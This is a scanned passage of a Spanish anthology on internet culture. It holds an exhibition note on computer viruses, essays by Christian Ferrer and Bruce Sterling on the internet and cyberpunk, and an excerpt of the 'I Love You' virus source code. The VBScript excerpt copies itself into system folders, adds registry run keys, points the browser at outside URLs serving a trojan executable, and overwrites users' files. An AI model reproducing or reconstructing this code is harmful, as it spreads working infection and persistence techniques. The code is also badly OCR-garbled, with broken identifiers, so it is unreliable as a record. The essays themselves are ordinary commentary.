les tendrian en el espacio publico que por entonces representaba
Internet (Besser, 1994). Y en 1995, discutié sobre como el control por
parte de grandes industrias pasaria por encima de los beneficios publi-
cos y la diversidad que la Internet habia prometido. Casi una década
mas tarde, vemos cada vez més vallados los espacios de Internet, y las
acciones de las personas cada vez mas rastreadas y almacenadas.

Howard Besser

Los virus son un sintoma politico de una comunidad que sigue
siendo extremadamente vasta, y su prohibiciéon no soluciona los proble-
mas que se derivan de ellos. Lo mismo es cierto respecto del “hacking”
y el anonimato.

Rizografia

Un escritor de virus esta interesado en explorar la permeabilidad de
la red. Un rizoma como el de Internet con tantas dimensiones, y con
dimensiones de este tipo, no se puede representar en ningln mapa;
muchos lo intentaron pero hasta ahora ninguno lo logré. Sus extensio-
nes podrian delinearse siguiendo una ruta, sondeando dénde se bifur-

Besser, profesor asociado en la Escuela de Educacién e Informacién de la UCLA
[University of California in Los Angeles], quien describe coémo diversas industrias
estan usando su influencia y el copyright para limitar el acceso publico en vastas
zonas de Internet.
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ca, y persiguiendo sus direcciones y conexiones. Al inyectar un medio
contrastivo en el organismo para trazar su forma y estructura se produ-
cird un angiograma que mostrara la configuracién basica de sus venas.

S6lo queda hacer un esfuerzo y considerar los origenes del Instinto
de Exploracidn tal como se presenta en nuestra propia historia, la histo-
ria del mundo organico tal como lo conocemos.

Quisiera agradecer a digitalcraft.org por su atencién e interés en
nuestro trabajo. Ha sido un honor para mi contribuir con esta experien-
cia colectiva por la cual se ha mostrado tanto entusiasmo. Muchas gra-
cias a Franziska Nori, Florian Cramer, Andreas Broeckmann,
Alessandro Ludovico, Garderobe23 / Kunstfabrik Berlin, Woessel; en
solidaridad con todos los que aun resisten. Para todos los que siguen
peleando: jno se detengan!

(Nota de Presentacién para la muestra | Love You sobre virus
informaticos, Museo de Artes Aplicadas, Frankfurt, 2002)

Copyleft 2002 (http://korova.dyne.org/)

Se permite copiar, distribuir, y/o modificar este documento bajo los términos
de la Licencia de Documentacion Libre GNU, Version 1.1 o cualquier version
posterior publicada por la Free Software Foundation; permaneciendo inva-
riantes todas las secciones. Se concede permiso para hacer y distribuir copias
de este documento mientras esta nota se mantenga en todas las copias.
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“l Love You”

Este es un extracto con las primeras lineas del codigo fuente del virus
“I love you”, que infecté a millones de computadores poco después de
su aparicion el 4 de mayo de 2000.

rem barok -loveletter(vbe) <i hate go to school >
rem by: spyder / ispyder@rmil.com/ @RAMVERSoft G oup /
Mani | a, Phi | i ppi nes
On Error Resume Next
dim fso, dirsystemdirwn,dirtenp, eq,ctr,file, vbscopy, dow
eq=""
ctr=0
Set fso = CreateCbject(“Scripting.FileSystenlbject”)
set file = fso.(QpenTextFile(Wscript. ScriptFul | nane, 1)
vbscopy=fil e. ReadAl |
mai n()
sub mai n()
On Error Resume Next
di mwscr,rr
set wscr=Creat eCbj ect (“Wscript. Shell”)
rr=wscr. RegRead(“ HKEY_CURRENT_USER\ Sof t war e\ M cr osof t\ W ndows Scri pti ng
Host\ Set ti ngs\ Ti neout ")
if (rr>=1) then
wscr. RegWite “HKEY_CURRENT_USER! Sof t war e\ M cr osof t\ Wndows Scri pting
Host\ Set ti ngs\ Ti neout”, 0, ” REG_DWORD"
end if
Set dirwin = fso. CGet Speci al Fol der (0)
Set dirsystem = fso. Get Speci al Fol der (1)
Set dirtenp = fso. Get Speci al Fol der (2)
Set ¢ = fso.GetFile(Wscript.ScriptFull Nane)
c. Copy(dirsysten&’\ MsKer nel 32. vbs")
c. Copy(di rwi n& \Wn32DLL. vbs”)
c. Copy(dirsysten®’\ LOVE- LETTER- FOR- YOU. TXT. vbs”)
regruns()
htm ()
spreadt oemai | ()
listadriv()
end sub
sub regruns()
On Error Resume Next
Di m num downr ead
regcreate
“ HKEY_LOCAL_MACHI NE\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\ MSKer nel 32
“, dirsyst em& \ MSKer nel 32. vbs”
regcreate
“ HKEY_LOCAL_MACHI NE\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer vi ces\ W
n32DLL", di rwi n& \ W n32DLL. vbs”
downr ead=""
downr ead=r egget (“ HKEY_CURRENT_USER\ Sof t war e\ M cr osof t\ | nt er net
Expl orer\ Downl oad Directory”)
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&\WnFAT32. exe”)=1) then
Randomi ze
num = Int((4 * Rnd) + 1)
if num= 1 then
regcreate “HKCW Software\ M crosoft\Internet Explorer\Min\Start
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Page”, "htt p:// ww. skyi net. net/ ~youngls/ HIKhj nwer hj kxcvyt wer t nMIFwet r dsf mhPnj
w6587345gvsdf 7679nj bvYT/ W N- BUGSFI X. exe”

elseif num= 2 then

regcreate “HKCW Software\ M crosoft\Internet Explorer\Min\Start

Page”, "http://ww. skyi net. net/ ~angel cat/ skl adj f | f dj ghKInwet r yDGFi kj U ygqwer W
546786324hj k4j nHHGbvbnKLJIKj hkqj 4w W N- BUGSFI X. exe”

elseif num = 3 then

regcreate “HKCW Sof tware\ M crosoft\Internet Explorer\Min\Start

Page”, "http://ww. skyi net. net/~koi chi/jf 6TRj kcbhGRpGgaq198vbFV5hf FEkKbopBdQZnm
POhf gER67b3Vbvg/ W N- BUGSFI X. exe”

elseif num = 4 then

regcreate “HKCWU Software\ M crosoft\Internet Explorer\Min\Start

Page”, "http:// ww. skyi net. net/ ~chu/ sdgf hj ksdf j kl NBrmf gkKLH kqwt uHIBhAFSDG kh
YUgqwer asdj hPhj asf dgl kNBhbgwebnznxcbvnmadshf gqw237461234i uy7t hj g/ W N- BUGSFI X
. exe”

end if

end if

if (fileexist(downread& \ WN- BUGSFI X. exe”)=0) then

regcreate

“ HKEY_LOCAL_MACHI NE\ Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\ W N- BUGSFI
X', downr ead&”\ W N- BUGSFI X. exe”

regcreate “HKEY_CURRENT_USER\ Sof t ware\ M crosoft\|nternet Explorer\Min\Start
Page”, "about : bl ank”

end if

end sub

sub listadriv

On Error Resume Next

Dimd, dc,s

Set dc = fso.Drives

For Each d in dc

If d.DriveType = 2 or d.DriveType=3 Then

folderlist(d.path&\")

end if

Next

listadriv = s

end sub

sub infectfiles(fol derspec)

On Error Resume Next

dimf,f1,fc,ext,ap, mrcfnane,s, bnanme, np3

set f = fso. CGetFol der (fol derspec)

set fc = f.Files

for each f1 in fc

ext =f so. Get Ext ensi onNane( f 1. pat h)

ext =l case(ext)

s=| case(f 1. nane)

if (ext="vbs”) or (ext="vbe”) then

set ap=fso. OpenTextFil e(f1.path, 2, true)

ap.wite vbscopy

ap. cl ose

el seif(ext="js”) or (ext="jse”) or (ext="css") or (ext="wsh”) or (ext="sct")
or (ext="hta”) then

set ap=fso. OpenTextFile(f1.path, 2, true)

ap.wite vbscopy

ap. cl ose

bname=f so. Get BaseNane( f 1. pat h)

set cop=fso.CGetFile(f1l.path)

cop. copy(fol derspec&’\” &nane&” . vbs”)

fso.Del eteFile(fl.path)

el seif(ext="jpg”) or (ext="jpeg”) then

set ap=fso. OpenTextFil e(f1.path, 2, true)

ap.wite vbscopy

ap. cl ose
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Medio Mundo. Un identikit
Christian Ferrer

ASPECTO. (Se parece a una red? ;O a un laberinto, segiin una
metéfora trillada? ;Quizas a esas circunferencias que organizan el tiem-
po vy el espacio de los seres humanos? ¢Es el fantasma de un centro de
vigilancia y control que se deshilvana y recompone en millones de pan-
tallas? ;O es el mapa fractal de un astrélogo del inconsciente? ;O se
parece a un conmutador telefénico, imagen que parece condensar su
ideal de sociedad? ;A la vieja red ferrocarrilera o al delta de nervaduras
del cuerpo humano? {Al organigrama de una “gran corporacién”? O a
un mandala, esa figura oriental cuyos cuatro lados son simétricos y de
donde se sale y se ingresa por cualquier parte.

FECHA DE NACIMIENTO. {Cuando comenzd? ¢En los afios ‘90,
al esparcirse la hilatura informatica por los cuatro puntos cardinales?
¢En 1981, cuando se lanzan al mercado las primeras computadoras per-
sonales? ¢En 1946, cuando por primera vez ronronean las valvulas y cir-
cuitos de la gigantesca ENIAC? ;O fue en el siglo anterior, cuando
Babbage inventé las tarjetas perforadas? ;O quizas en el siglo XVIII,
cuando de la palabra “comunicaciéon” se descartaron las connotaciones
religiosas que evidenciaban comunidades en comunién a la vez que las
ciudades alcanzaban el millén de habitantes y se hacia necesario infor-
mar a unos sobre lo que otros hacian en el extremo opuesto del mismo
hébitat? ;O quizas, incluso, algunos siglos antes, en el momento en que
comenzaron a clasificarse los peces que nunca nadie jaméas comio o las
estrellas a donde nadie jamés viajé, potenciando asi una indetenible
voluntad de tratar la riqueza de la realidad como “informacion”? No,
Internet no es un dispositivo de “Ultima generaciéon”, como creen los
taquicardicos y los desinformados: es una idea que viene desplegando-
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se lenta pero imperiosamente desde hace siglos. ;Como no darse cuen-
ta de que fue necesario, antes que nada, orientar el sentido de la vista
hacia aparatos técnicos de captura de “representaciones” visuales, y
transformar al habitante urbano en un “observador” incesante reacti-
vando instantaneamente ante cientos, o miles, de estimulos visuales en
cada caminata, y acostumbrarlo a la presencia continua, en dmbitos
domésticos y publicos, de cientos de juguetes opticos —de los teatros de
sombras a la linterna méagica—, y desplazar el significado de la palabra
confort desde la practica intima de la confortacién del alma a la como-
didad hogarefia apuntalada por tecnologias, y hacer que datos, iméage-
nes y textos se cruzaran primordialmente con flujos de capital, y que los
futuros imaginados incorporaran “efectos especiales”, y eso a escala
mundial, y sin olvidar que el valor de la aceleracion fue elevado a rango
metafisico? Si, ha sido necesaria, a lo largo de dos siglos, una inmensa
acumulacién de transformaciones subjetivas, politicas, econémicas y
tecnoldgicas para que en los afios ‘90 cualquiera pudiera estar cierto que
hay maés “verdad” en Internet de la que habia en la television, y antes,
en el cine, y antes, en los textos de lectura, y mucho antes, en los relatos
orales que transmitian historias de dioses y animales mitologicos.

MEDIDAS. Decir que es una voluntad de poder es definir a
Internet. Un improbable viajero espacial que escrutara el planeta Tierra
con su telescopio, seguramente observaria la danza orbital de cien saté-
lites artificiales de comunicacion vigilando, articulando e intercronome-
trando las actividades humanas; observaria ademas el titilar de millones
de computadoras localizables como alfileres coloreados en el mapa de
un estado mayor de la inteligencia estatal; y también a flujos inmensu-
rables de dinero pulsando a lo largo de la red; y observaria una ductil
interconexion de redes telefénicas, televisivas e informaticas; y asimis-
mo observaria cientos de miles de microemprendimientos destinados a
mantener el flujo sanguineo en las innUmeras nervaduras tal cual esta-
ciones de servicio a lo largo de una carretera; y, si abriera ain mas al
gran angular, observaria como este medio mundo de pescador acoge y
arrastra a las actividades humanas mas pujantes y las encastra en un
todo funcional. Observaria, en definitiva, a un sistema guerrero en mar-
cha, una auténtica voluntad de poder que recién esta en su curva de
ascenso, cuyas equivalencias pueden ser encontradas en la expansion
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del Imperio Romano, la evangelizacion cristiana o la conquista de
América. Tal voluntad, ademés, envia a su ocaso a toda labor humana
que no se adecue a sus exigencias y necesidades. Sélo subsisten el bien
de museo, el anacronismo viviente o la costumbre inofensiva. No,
Internet no es solamente un entretenimiento para adolescentes, un ins-
trumento laboral, un medio de comunicacibn 0 un nuevo espacio
empresarial. Es, ademds, un arma de instruccion militar masiva, y la
laptop, la PC, el mouse, el modem y el teclado constituyen el arsenal
cotidiano de gladiadores bonachones.

GRUPO SANGUINEO. Y como cada cosa tiene su doblez, también
la red tiene una zona secreta, y vericuetos por donde se filtran liquidos
contaminantes que el artefacto en si mismo produce. Delito informético,
virus, espionaje, ataques concertados a una seccién de la red, todo ello
pertenece a la segunda categoria y son equivalentes a lo que la delin-
cuencia, el sabotaje, el espionaje “industrial” y el partisanismo politico
eran al orden productivo clasico. Después de todo, la forma de la red
imita al serpentario. En efecto, la palabra virus significa, en latin, “vene-
no”, y el dafio nihilista o las actividades que redundan en hurto no
dejan de ser la ineliminable enfermedad venérea de Internet, su mal de
nacimiento, su falla de fabrica. Del mismo modo, el accidente de transi-
to es inerradicable de la autopista. En cambio, la vigilancia oculta de los
“usuarios” por parte de supercomputadoras ocultas es harina de otro
costal. La existencia de la asi llamada “red Echelon” demuestra que la
voluntad de control de los Estados modernos y la cultura del secreto
que desde siempre ha signado a los servicios de inteligencia estatales se
han adosado a la red como el injerto al arbol. Esas supercomputadoras
operan como una esponja, dejando escurrir solo el liquido insignifican-
te a la vez que se transforman en una suerte de “inconsciente” de la red,
remedo del ego totalitario de las potencias del primer mundo. El afio
2000 encontrd a los “internautas” unidos y vigilados, y no les queda otro
remedio que repensar politicamente las promesas libertarias con que se
publicité el despliegue de Internet.

PROFESION. La red recién comienza a desplegar sus fuerzas. Sus
préximos pasos estan garantizados, en gran medida porque Internet ya
habita la imaginacién contemporanea como un prodigio en el que esta-
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rian contenidas indecibles posibilidades, pero también porque resulta
ser un cauce amable para los viejos problemas irresueltos de la huma-
nidad. Una pagina WEB hace resaltar el deseo de reconocimiento frus-
trado; el sitio pornogréfico revela la vieja insatisfaccion sexual; y en cada
chat se fuga de la soledad. Y asi sucesivamente, duplicandose en el
ciberespacio nuestra forma de existencia terrenal. Y como fondo omni-
presente, el negocio, pues la imagen idilica y democréatica de 6.000
millones de computadoras uniendo al género humano colisiona contra
los aproximadamente 600 millones de consumidores reales que impor-
tan al comercio electrénico. Si en algunas décadas mas Internet sera
sin6nimo de una nueva economia, de inéditas formas de la accion poli-
tica o de un nuevo tipo de habitat que recién se encuentra en estado de
prototipo, nadie lo sabe aun con certeza. Y si Internet desapareciera en
una década, superada por complejas formas de interrelacion humana
gue la industria biotecnoldgica comienza a prometer y publicitar pero
gue aun tiene que inventar? A la fecha de vencimiento de la red no se la
incluye en los manuales del usuario.
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Bruce Sterling (ver pagina 16) '

Este articulo intenta definir al “movimiento cyber-

punk”. Salié publicado en la revista Interzone (N°
48, junio de 1991), famosa revista inglesa de fantasy y
ciencia ficcion que se edita mensualmente desde 1982.



Cyberpunk en los noventa*
Bruce Sterling

En esta Ultima nota quisiera hablar abiertamente del “cyberpunk”
—no de cyberpunk como sinénimo de delincuente informético, sino de
cyberpunk, el movimiento literario.

Hace unos afios, en el frio invierno de 1985 (en esa época solia haber
inviernos frios, antes de que se supiera lo del ozono) aparecié un arti-
culo en Interzone N° 14, con el titulo: “La Nueva Ciencia Ficcion”. Era
el primer manifiesto del “movimiento cyberpunk”. El articulo hacia un
balance de la historia y los principios del género ciencia ficcién; el tér-
mino “cyberpunk” no se empleaba ni una vez. “La Nueva Ciencia
Ficcidon” se publicé con pseuddnimo en una revista de ciencia ficcion
britanica que tenia muchas mas ambiciones que éxito de ventas. Hace
poco sacé una edicion con tapas a color para regocijo de sus lectores. Un
buen lugar para un manifiesto.

Comparemos este humilde evento con un articulo reciente,
“Confesiones de un ex-cyberpunk”, de mi amigo y colega Lewis Shiner.
Este articulo es otro honesto intento de declarar muerto al cyberpunk de
parte de Alguien-Que-Lo-Vivié. El articulo de Shiner apareci6 el 7 de
enero de 1991 en The New York Times, pagina de opinion.

Es un buen lugar (el New York Times) también, pensaria uno, pero
ilustrativo de la paraddjica suerte que corren los “movimientos”. La
avalancha que se desata por un grito y una pala en algun lugar de la
montafa, no puede contenerse con la mano, aunque se disponga de una
audiencia de varios millones.

* “Cyberpunks in the nineties”. Traduccion de Carlos Gradin.
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El “cyberpunk”, antes de que lo encasillaran y adquiriera su fama
siniestra, era un esfuerzo generoso, abierto, en contacto con la calle,
anarquico y con actitud de “hazlo-td-mismo”, ethos que compartia con
las bandas de garage de los ‘70 de la musica punk. La revista de propa-
ganda del cyberpunk, impresa en una sola pagina, Cheap Truth, se
repartia gratis a los que la pedian. Cheap Truth nunca tuvo copyright;
se alentaban activamente las fotocopias.

Los colaboradores de Cheap Truth siempre usaban pseud6énimos,
un intento igualitario y honesto de evitar cualquier culto de personali-
dad o elitismo. Cheap Truth se reia de los “gurus” del género e invita-
ba a todos los que estuvieran escuchando a que cargaran un procesador
de texto y se unieran a la causa. Las ingenuas propuestas de Cheap
Truth para la ciencia ficcion eran que ésta debia estar “viva”, ser “leible”
y estar “bien escrita”. Pero en la préactica no era tan facil. Se oscurecia la
vision por el polvo que levantaba la batalla.

Cheap Truth logré un éxito ambiguo. Hubo una respuesta entu-
siasta hacia lo basico: la ciencia ficcion tenia que “esforzarse mas” y
“terminar con los lugares comunes” si queria conseguir mas prestigio.
Casi todos estaban de acuerdo en esto —pero no lo hacian. En el género
ciencia ficcion siempre fue mas facil obviar estos truismos para habitar
en las trivialidades de la literatura comercial: el empleo de ocho horas al
dia en la Antigua Fabrica. Otros slogans “cyberpunk” muy de moda,
como el “pensamiento imaginativo” y el “conocimiento técnico” tam-
bién se perdieron en el camino. jAy!, si fuera suficiente con rezar unas
oraciones para cambiar un género, la tierra hubiera temblado cuando
Aldiss y Knight expresaron ideales muy parecidos en 1956.

La lucha de la ciencia ficcién por elevar su calidad venia de muy
atras, pero los escritores de Cheap Truth eran demasiado jovenes y
parroquianos para estar al tanto. La cultura habia cambiado, y habia
grandes diferencias. En los ‘50 el “conocimiento técnico” podia ser
inquietante, pero también honesto y motivador —en los ‘80, con la tec-
nologia en auge, “conocimiento técnico” remitia a “éxtasis y horror”,
directamente. Esta rareza del cyberpunk eclipsé la simplicidad de su
Teoria y Préctica.

Los “escritores cyberpunk” empezaron a hacerse famosos, y la idea
original del cyberpunk abierto y disponible para todos, se perdio6 en las
sombras. El cyberpunk fue un culto inmediato, probablemente la defi-
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nicién misma de culto en la ciencia ficcion moderna. Hasta compafieros
de generacién, que simpatizaban con mucha de la retérica de Cheap
Truth, terminaron desconfiando de este culto —los “cyberpunks” se
habian convertido en “gurdes” del género.

Es asombroso, realmente, lo facil que es convertirse en gurd de un
género literario. Lo dudoso es que se logre algo con ese esfuerzo. En rea-
lidad, ¢quién confia en los guras? jCheap Truth nunca lo hizo! En fin,
tomd unos tres afios deshacer por completo el Movimiento. Cheap
Truth dejé de editarse en 1986.

Quisiera pensar que sirvié para que otros no repitan los mismos
errores. En realidad, lo dudo mucho.

Ruckler, Shiner, Sterling, Shirley y Gibson —los més respetados
“gurus” del Movimiento, desfilan en el valioso articulo de Shiner ante a
los cautivados millones del New York Times—, aunque lo nieguen, ellos
son “cyberpunks”. Otros cyberpunks, como los demas autores que par-
ticiparon en Mirrorshades: una Antologia Ciberpunk,1 quizas puedan arre-
glar cuentas con la bestia, mas 0 menos. Pero esta indeseable palabra
“cyber” seguro va a quedar grabada en nuestras lapidas. Son indtiles las
desmentidas en publico, y puede que empeoren la situacion. Ni los cam-
bios mas vertiginosos en nuestro modo de escribir, o las conversiones al
Islam o a la Santeria que hagamos en medio de crisis existenciales,
podran borrarnos el tatuaje de “escritores cyberpunks”.

Asi, la literatura “cyberpunk” no es mas que “lo que escriben los
cyberpunks”. Y eso abarca mucho. Personalmente, yo siempre tuve
debilidad por las fantasias histdricas; Shiner escribe novelas de misterio
y thrillers. Shirley escribe terror. A Ruckler se lo vio por Ultima vez en
algun lugar dentro de la Tierra Hueca. De William Gibson se supo sor-
presivamente que escribe cuentos muy divertidos. Pero eso no es nada.
El “Cyberpunk” no “morira” hasta que esté enterrado el dltimo de no-
sotros. Segun los censos demograficos llevara bastante tiempo.

Las ideas de apertura que proponia Cheap Truth fueron de dudosa
utilidad —pese al respaldo de Interzone. Quizas los “principios” eran
demasiado generales y abstractos, demasiado arcanos e inabordables,
en comparacidn a las marcas mas faciles de identificar del género, como

1. Compilacion realizada por el propio Sterling, Mirrorshades: una antologia ciber-
punk. Madrid, Siruela, 1998. (N. del E.)
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los implantes cerebrales, los jeans de cuero negros, la adiccién a las anfe-
taminas. Pero quizas no sea tarde para ofrecer un ejemplo concreto y
funcional de genuina Weltanschaung [cosmovision] cyberpunk.

Tomen Frankenstein de Mary Shelley, una semilla del género ciencia
ficcién. Desde un enfoque cyberpunk, Frankenstein es ciencia ficcion
“Humanista”. Frankenstein promueve el dictum romantico de que hay
Algunas Cosas Que EI Hombre No Debia Saber. No hay meros meca-
nismos fisicos para esta ley moral superior —su funcionamiento tras-
ciende la comprension mortal, es algo relativo a la voluntad divina.
Hubris debe hallar a némesis; esta es, sencillamente, la naturaleza de
nuestro universo. El Dr. Frankenstein comete una trasgresion escalo-
friante, una afrenta al alma humana, y con memorable justicia poética,
es horriblemente castigado por su propia creacion, el Monstruo.

Ahora imaginen una version cyberpunk de Frankenstein. En esta
obra imaginaria, el Monstruo seria el proyecto que lleva adelante el
equipo de Investigacion y Desarrollo bien financiado de alguna corpo-
racion global. EI Monstruo, lo mismo podria dirigir su furiosa destruc-
cién sobre personas al azar. Pero habiendo hecho esto, no se le permiti-
ria perderse en el Polo Norte, recitando pensamientos byronianos. Los
Monstruos del cyberpunk nunca se desvanecen tan codmodamente. Ya
estan sueltos en las calles. Estan cerca de nosotros. Es probable que
“NOSOTROS” seamos ellos. EI Monstruo acabaria registrado bajo
copyright por las nuevas leyes genéticas, y siendo fabricado de a miles
en todo el mundo. En poco tiempo todos los Monstruos estarian con
empleos nocturnos mal pagos lavando pisos en restaurantes fast-food.

En el universo moral del cyberpunk, nosotros ya sabemos Cosas
Que No Teniamos Que Saber. Nuestros “abuelos” sabian estas cosas;
Robert Oppenheimer en Los Alamos se convirtid en Destructor de
Mundos mucho antes de que apareciéramos en escena. En el cyberpunk,
la idea de que hay limites sagrados para la accion humana es simple-
mente una ilusién. No hay fronteras sagradas que nos protejan de no-
Sotros mismos.

Nuestra situacién en el universo es basicamente accidental. Somos
débiles y mortales; pero no es la voluntad de los dioses, es s6lo la mane-
ra en que las cosas se dan por el momento. Y esto es radicalmente insa-
tisfactorio; no porque extrafiemos terriblemente el resguardo de la
Deidad, sino porque mirado con objetividad el valle del sufrimiento
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humano es basicamente una tristeza. La condicion humana puede cam-
biar, y serd cambiada, y estd cambiando; la Gnica pregunta real es como,
y con qué fin.

En el cyberpunk, esta conviccion “anti-humanista” no es simple-
mente una pirueta para enfurecer a la burguesia; es un hecho objetivo
de la cultura a fines del siglo veinte. El cyberpunk no inventé esta situa-
cion; solo la refleja.

Hoy es bastante comUn ver a cientificos muy circunspectos adhi-
riendo a ideas horrorosamente radicales: nanotecnologia, inteligencia
artificial, suspension criogénica de los muertos, descarga de los conte-
nidos del cerebro... La mania hubristica esta suelta en los pasillos de la
academia, donde todo el mundo y las hermanas de todo el mundo pare-
cen tener un plan para ajustar el cosmos a sus oidos. La indignacion
moral de Stern es muy débil; si llegara a haber una diabdlica droga que
pudiera extender nuestras sagradas expectativas de vida, por Dios otor-
gadas, en cien afios, el Papa seria el primero en la fila.

Vivimos ya, todos los dias, por medio de acciones atroces con con-
secuencias impredecibles para el mundo entero. La poblacién mundial
se ha duplicado desde 1970; el mundo natural, que solia envolver a la
humanidad con sus vastos silencios géticos, ahora es algo que debe
catalogarse y protegerse.

Sencillamente, ya no resultamos eficaces al rechazar cosas que no
lucen adecuadas. Como sociedad no podemos ni siquiera darle la espal-
da a riesgos abismales como la heroina y la bomba de hidrégeno. Como
cultura, amamos jugar con fuego, sélo por el placer de su brillo; y si
resulta que hay dinero de por medio, no hay nada que pueda contener-
lo. Los cuerpos que se despiertan de Mary Shelley, son los ultimos de
nuestros problemas; algo muy cercano a eso ocurre en las guardias de
cuidados intensivos todos los dias.

El pensamiento humano en si mismo, bajo su apariencia sin prece-
dentes de software de computadoras, se esta convirtiendo en algo cris-
talizado, copiado, hecho mercancia. Incluso los interiores de nuestro
cerebro no son sagrados; por el contrario, el cerebro humano es un blan-
co primario de investigaciones cada vez mas exitosas —preguntas onto-
l6gicas y espirituales, sean malditas. La idea de que, bajo estas circuns-
tancias, la Naturaleza Humana esta de alguna manera destinada a pre-
valecer contra la Gran Maquina, es simplemente tonta; resulta notoria-
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mente salida de foco. Es como si un roedor filésofo en una jaula de labo-
ratorio, préximo a tener el cerebro agujereado y enchufado en funcién
de la Gran Ciencia, declarara piadosamente que al final la Naturaleza
Roedor triunfara.

Cualquier cosa que se le pueda hacer a una rata se le puede hacer a
un ser humano. Y podemos hacerle casi todo a las ratas. Este es un tema
duro para pensar, pero es la verdad. No va a cambiar porque nos tape-
mos los 0jos.

“Esto” es cyberpunk.

Lo cual explica, espero, por qué las sagas de aventuras de ciencia
ficcién standard, de cuero con tachas, y todo el cotillén cyber, no pasan
la prueba. Lewis Shiner se cansd de escritores que ofrecen narcéticos
tiroteos para inundar las vitrinas con *“tics” cyberpunk. “Algunos escri-
tores convirtieron la forma en férmula”, se queja en The New York
Times, “los mismos argumentos con finales predecibles que encontra-
mos en los video-juegos y las peliculas de videoclub”. Las primeras con-
vicciones de Shiner apenas se movieron un micrén —pero lo que la
mayoria llama “cyberpunk” ya no satisface sus ideales.

En mi opiniodn estos recién-llegados son un tema menor. Y también
lo es el término “cyberpunk”. Me complace ver que cada vez es mas
dificil escribir un libro estapido, poner la palabra “cyberpunk” en él, y
esperar a que se venda. Con la palabra-C desacreditada por la satura-
cion de estupideces, cualquiera que se diga “cyberpunk” ahora tiene
gue aportar su propio peso. Pero para los que quieran hacerlo, ya no es
negocio. Las etiquetas no pueden defender su propia integridad; pero
los escritores pueden, y los buenos lo hacen.

Hay otro aspecto general que me parece que es importante para una
comprensién real del Movimiento. El cyberpunk, como la New Wave
antes que él, fue una voz de Bohemia. Vino del underground, de los
margenes, de lo joven y energético y para-institucional. Vino de gente
gue no conocia sus propios limites, y rechazaba los limites ofrecidos por
las costumbres y los habitos.

No mucha ciencia ficcién es realmente Bohemia, y la mayoria de la
Bohemia tiene poco que ver con la ciencia ficcidn, pero hubo, y hay,
mucho que ganar del encuentro entre ambas. La ciencia ficcion como
género, incluso la més “convencional”, tiene bastante de underground
cultural. La ciencia ficcion influye en la gran sociedad exterior; y como
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la difusa influencia de los beatniks, hippies y punks, esta cuidadosa-
mente limitada. La ciencia ficcion, como la Bohemia, es un lugar util
para poner a un amplio espectro de personas, donde sus ideas y accio-
nes pueden probarse, sin riesgo de poner esas ideas y acciones directa-
mente en practica generalizada. La Bohemia ha cumplido esta funcién
desde sus comienzos en la temprana Revolucion Industrial, y la sabidu-
ria de este esquema deberia admitirse. La mayoria de las ideas extrafias
son simplemente ideas extrafas, y la Bohemia en el poder raramente ha
sido una visién agradable. Julio Verne como escritor de novelas de aven-
turas es una cosa; Presidente Verne, General Verne, o Papa Verne es una
idea més inquietante.

El cyberpunk fue una voz de Bohemia —Bohemia en los ‘80. Los
cambios tecno-sociales desatados en nuestra sociedad contemporanea
no podian dejar de afectar su contracultura. El cyberpunk fue la encar-
nacion literaria de este fenémeno. Y el fendbmeno todavia esta creciendo.
Las tecnologias de la comunicacién en particular, se estdn volviendo
mucho menos respetables, mucho mas volatiles y cada vez mas en
manos de personas que no le presentarias a tu abuela.

Pero hoy debe admitirse que los cyberpunks —veteranos de la cien-
cia ficcidn, en o cerca de los cuarenta, que refinan pacientemente su arte
y cobran sus cheques de regalias— no son mas una Bohemia
underground. Esto también es una vieja historia en la Bohemia; es el
castigo standard por el éxito. Un underground a la luz del dia es una
contradiccion de términos. Esta respetabilidad no es sélo de algunos
casos aislados, los abarca colectivamente. Y en este sentido, el
“cyberpunk” estd todavia mas muerto de lo que Shiner admite.

El tiempo y las oportunidades han sido generosos con los
cyberpunks, pero ellos mismos han cambiado con los afios. Una doctri-
na central en la teoria del Movimiento era la “intensidad visionaria”.
Pero ha transcurrido un largo tiempo desde que algan cyberpunk escri-
biera un cuento que realmente volara-la-cabeza, algo que retorciera, agi-
tara, que aullara, alucinara y moviera la estanteria. En los ultimos tra-
bajos de estos veteranos, vemos tramas mas ajustadas, mejores persona-
jes, prosa mas fina, “futurismo serio e introspectivo”. Pero también
vemos menos cosas en el estilo de vuelos espontaneos y danzas aloca-
das sobre las mesas. Los escenarios se acercan mas y mas al tiempo pre-
sente, perdiendo los rizados barrocos de la fantasia suelta: los temas en
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cuestion se convierten en algo horriblemente parecido a preocupaciones
de adultos responsables de mediana edad. Y esto puede ser espléndido,
pero no es la guerra. A este aspecto vital de la ciencia ficcion se ha abdi-
cado, y esta disponible para ser retomado. El cyberpunk simplemente
dej6 de estar ahi.

Pero la ciencia ficcién todavia esta viva, todavia abierta y en de-
sarrollo. Y Bohemia no va a irse. La Bohemia, como la ciencia ficcion, no
es una moda, pese a que genera modas; como la ciencia ficcion, la
Bohemia es vieja; tan vieja como la sociedad industrial, de la cual la
ciencia ficcién y Bohemia son, ambas, partes integrantes. La Bohemia
Cibernética no es una aparicién bizarra; cuando los bohemios cibernéti-
cos proclaman que lo que estan haciendo es completamente nuevo, se
engafian a si mismos inocentemente, sélo por ser jovenes.

Los cyberpunks escriben sobre el éxtasis y los peligros de navegar
en el ciberespacio y Verne escribio sobre el éxtasis y los peligros de Cinco
semanas en globo, pero si te mueves medio paso fuera del barro de las cir-
cunstancias histéricas puedes ver que ambos sirven a la misma basica
funcidn social.

Obviamente Verne, un gran maestro, todavia se edita, mientras que
el veredicto esta pendiente respecto del cyberpunk. Y, por supuesto,
Verne se equivocé en todo acerca del futuro, salvo por algunos aciertos
con suerte; pero lo mismo hara el cyberpunk. Julio Verne terminé como
una especie de rico excéntrico y amada celebridad en el gobierno de la
ciudad de Amiens. Peores cosas han ocurrido, supongo.

A medida que los representantes del cyberpunk consiguen una legi-
timidad involuntaria, se hace mas dificil pretender que el cyberpunk
tiene algo de raro y aberrante; hoy es mas facil ver de dénde vino, y
como llegd hasta aca. Y se podria pensar que la reverencia a Julio Verne
es algo bizarro para un cyberpunk. Podria, por ejemplo, decirse que
Julio Verne era un buen tipo que amaba a su mama, mientras que los
brutales y antihumanistas cyberpunks promueven drogas, anarquia,
conexiones cerebrales y destruccién de todo lo sagrado.

Esta objecidn es engafiosa. ElI Capitdn Nemo era un tecno-anarco-
terrorista. Julio Verne repartia panfletos radicales en 1848 cuando las
calles de Paris estaban cubiertas de muertos. Pero Julio Verne igual es
